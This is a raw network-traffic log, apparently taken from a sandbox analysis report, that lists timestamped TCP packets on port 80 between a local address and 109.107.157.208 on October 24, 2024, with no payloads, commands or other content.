Oct 24, 2024 13:27:01.921462059 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.921487093 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.921502113 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.921528101 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.296386957 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.296432972 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.296541929 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.296597958 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.296636105 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.296670914 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.296708107 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.296741962 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.296777964 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.296812057 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.296845913 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.296869040 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.296869040 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.296869993 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.296869993 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.296869993 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.296869993 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.296869993 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.296869993 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.296880007 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.296916008 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.296951056 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.296951056 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.296951056 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.296951056 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.296952009 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.296983957 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.296984911 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.297003031 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.297020912 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.297045946 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.297070980 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.297074080 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.297110081 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.297136068 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.297147989 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.297161102 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.297183037 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.297215939 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.297235966 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.297235966 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.297250986 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.297271967 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.297286034 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.297321081 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.297341108 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.297341108 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.297355890 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.297374010 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.297389030 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.297411919 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.297422886 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.297445059 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.297456980 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.297485113 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.297487020 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.297522068 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.297524929 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.297544003 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.297555923 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.297579050 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.297590971 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.297625065 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.297629118 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.297645092 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.297691107 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.297765970 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.297801018 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.297832966 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.297835112 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.297854900 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.297863007 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.297898054 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.297898054 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.297916889 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.297931910 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.297964096 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.297970057 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.297988892 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.297998905 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.298017979 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.298032999 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.298065901 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.298067093 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.298100948 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.298100948 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.298118114 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.298135996 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.298162937 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.298167944 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.298187971 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.298202991 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.298234940 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.298237085 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.298269033 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.298285961 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.298629999 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.298666000 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.298698902 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.298703909 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.298732996 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.298733950 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.298753977 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.298763037 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.298793077 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.298796892 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.298821926 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.298830986 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.298844099 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.298863888 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.298891068 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.298898935 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.298921108 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.298933029 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.298954010 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.298966885 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.298993111 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.299000025 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.299021959 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.299034119 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.299050093 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.299068928 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.299091101 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.299103975 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.299130917 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.299132109 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.299155951 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.299165964 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.299199104 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.299200058 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.299220085 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.299257994 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.299550056 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.299585104 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.299611092 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.299617052 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.299650908 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.299654961 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.299674988 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.299685955 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.299712896 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.299721003 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.299751997 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.299753904 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.299768925 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.299788952 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.299810886 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.299818039 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.299849987 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.299853086 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.299873114 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.299885035 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.299909115 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.299913883 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.299947977 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.299949884 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.299967051 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.299982071 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.300008059 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.300021887 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.300054073 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.300057888 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.300077915 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.300086975 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.300105095 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.300123930 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.300154924 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.300172091 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.300384998 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.300420046 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.300442934 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.300453901 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.300479889 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.300488949 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.300501108 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.300523043 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.300544024 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.300555944 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.300582886 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.300587893 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.300607920 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.300626040 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.300643921 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.300688028 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.317128897 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.317444086 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.317701101 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.317903996 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.318300962 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.318372011 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.318408012 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.318444014 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.318480015 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.318499088 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.318499088 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.318499088 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.318500042 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.318542957 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.318572044 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.318581104 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.318593025 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.318619013 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.318649054 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.318667889 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.318774939 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.318809032 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.318830013 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.318844080 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.318867922 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.318898916 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.318913937 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.318967104 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.319076061 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.319128990 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.319132090 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.319163084 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.319180965 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.319200039 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.319219112 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.319235086 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.319258928 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.319268942 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.319284916 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.319303989 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.319324970 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.319366932 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.319384098 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.319420099 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.319438934 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.319453955 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.319475889 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.319499016 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.319828033 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.319861889 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.319885015 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.319895029 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.319909096 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.319930077 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.319956064 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.319963932 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.319982052 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.319994926 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.320020914 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.320031881 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.320040941 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.320065975 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.320086002 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.320100069 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.320115089 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.320133924 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.320154905 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.320169926 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.320183992 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.320208073 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.320223093 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.320265055 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.320498943 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.320529938 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.320552111 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.320564032 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.320588112 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.320599079 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.320611000 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.320632935 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.320643902 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.320667982 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.320688009 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.320703030 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.320730925 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.320739031 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.320755959 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.320772886 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.320796967 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.320806980 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.320815086 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.320852995 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.320857048 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.320894003 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.320909977 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.320949078 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.321244001 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.321279049 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.321299076 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.321312904 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.321337938 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.321346045 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.321360111 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.321402073 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.321403980 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.321430922 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.321454048 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.321465969 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.321476936 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.321500063 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.321510077 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.321533918 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.321552038 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.321568012 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.321590900 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.321600914 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.321613073 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.321635008 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.321654081 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.321669102 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.321692944 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.321705103 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.321710110 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.321737051 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.321758032 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.321770906 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.321794033 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.321799040 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.321825981 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.321845055 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.322134972 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.322168112 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.322184086 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.322199106 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.322223902 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.322232962 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.322244883 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.322266102 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.322283983 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.322299957 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.322319031 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.322333097 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.322348118 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.322365999 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.322388887 CEST	49730	80	192.168.2.4	109.107.157.208
